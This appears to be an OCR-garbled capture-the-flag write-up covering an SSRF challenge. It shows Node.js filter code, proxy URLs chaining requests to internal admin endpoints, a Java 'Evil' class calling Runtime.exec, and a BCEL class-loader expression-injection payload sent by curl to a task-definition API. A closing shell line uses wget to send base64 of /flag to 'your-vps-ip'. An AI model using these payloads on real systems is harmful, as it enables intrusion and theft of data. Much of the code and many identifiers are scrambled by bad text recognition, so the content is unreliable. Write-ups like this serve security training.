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const axios = require( axies')

const islp = requirel is-ip')}
const IP = require( ip')

const UrlParse = require( url-parse’)

const {sha256, hint} = require(’. /utils’)

CORST salt = -:l-::-:bl:lufl-.’t'.:.')ud-:'_|3.~'.“.:;!:5 '..*‘.!::;:sﬁ:‘._in-r‘r-u-:‘:ﬂ'

const adminHash = sha256({sha256(salt + "admin’) + sha256(salt ¢ "admin'})
const port = process. env. PORT 3000
function formatResopnselresponse)

if (typeof (response) peof (")) |
JSON, stringify

return response

function SSRF_WAF (url)
const hest = new UrlParsef{url). hostname. replace(/\[|%)/g. ")

~ return islplhost) &k IP. isPubliec(host)

function FLAG_WAF (url)
const pathname = new UrlParse(url). pathname
veturn !pathname. startsWith{’ /flag )
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(waf)=>waf{url) ). redu

content: - "Here-is-the -waf..."})

8.8.1:3${port}/search?url=${url}"}

ion SSRF_WAF(url) { // HBF urL FriERAMUEER-SEARM

const host new UrlParse{url).hostname.replace(/)

return isIp(host) && IP.isPublic(host)

function FLAG WAF(url) { // H#F URL FTREFE uri *-_Ti:.‘l'l J/flag
15t pathname = new UrlParse(url).pathname

return !pathname.startsWith('/flag’ )
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/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.229.14:8080/
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/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.229.14:8080/api/admin/config
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Evil.java

public class Evil
I
1
public Evil() {
try {
Runtime.getRuntime() .exec(

1
J

catch (Exception ex) {

ex.printStackTrace();

public static void main(final String[] array) {
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java -jar BCELCodeman.jar e Evil.class
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curl ==location --request POST "http://localhost:8888/api/metadata/taskdefs” \

-=header 'Content-Type: applicatienfjson” &

-=data-raw “[[

“name™: “§{°\'° °\''.getcClass().forName("

" com, sun.org.apache.bcel. internal . util.ClassLoader '\’ ") .newInstance().loadClass("

S RSBCELSSE1 B ISASARASASASATARES1 S CANSC2SA0RUSALECTEO40EDISWEASSUSuUEFERATILQETEASSbESCISLAIE

" ).newInstance{).class}”,

“ownerEmall®: “test@example.org”,
“retryCount™: 3,
“timesutSeconds™: 1288,
"inputkeys": [

“sourceRequestld”,

"gcElementType™
1.
“outputKeys~: [

"state”,

"skipped”,

“result”
1.
“timeoutPolicy™: “TIME_OUT_WF",
"retryLogic™: "FIXED™,
“retryDelaySeconds™: 698,
“responseTimecutSeconds™: 3688,
“concurrentExecLimit™: 108,
“rateLimitFrequencylnSeconds™: 68,
“rateLimitPerFrequency™: 58,
“isolationgroupld™: “myIsclationGroupld™
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router. post(’fproxy’, asyncireq, res, next) =» { /7 #E post HEE, ERTRLN. AFE
if(lreq.session.admin) {
return res.redirect('findex")
}
ff test url
[/ not implemented here
const url = “https://postman-echo.com/post®
await axios.post( http://127.8.8.1:§{port}/search?url=§{url}" )
res.render('base’, "Something needs to be implemented™)

n

try {
if(method == ‘get") { // St e
const response = await Exios get(url) /7 $%. KR url
result.content = forma hee(response.data)
else if(method == ‘post') { // POST HizEiE
const respense = await axios.post(url, data) // EFWKFERTE

result.content = formatResopnse(response.data)
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console.log(encodeURI(encodeURI(encodeURI

post_payload.length post_payload
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app.py

import os
from flask import Flask,redirect
from flask import request

app Flask(__name__

@app.route

def hello
return

os.environ.get
port=port

test1.txt




! /bin/sh

wget http://your-vps-ip:9998/?test="cat /flag|base64’

/proxy?url=payload fTBt5EE T
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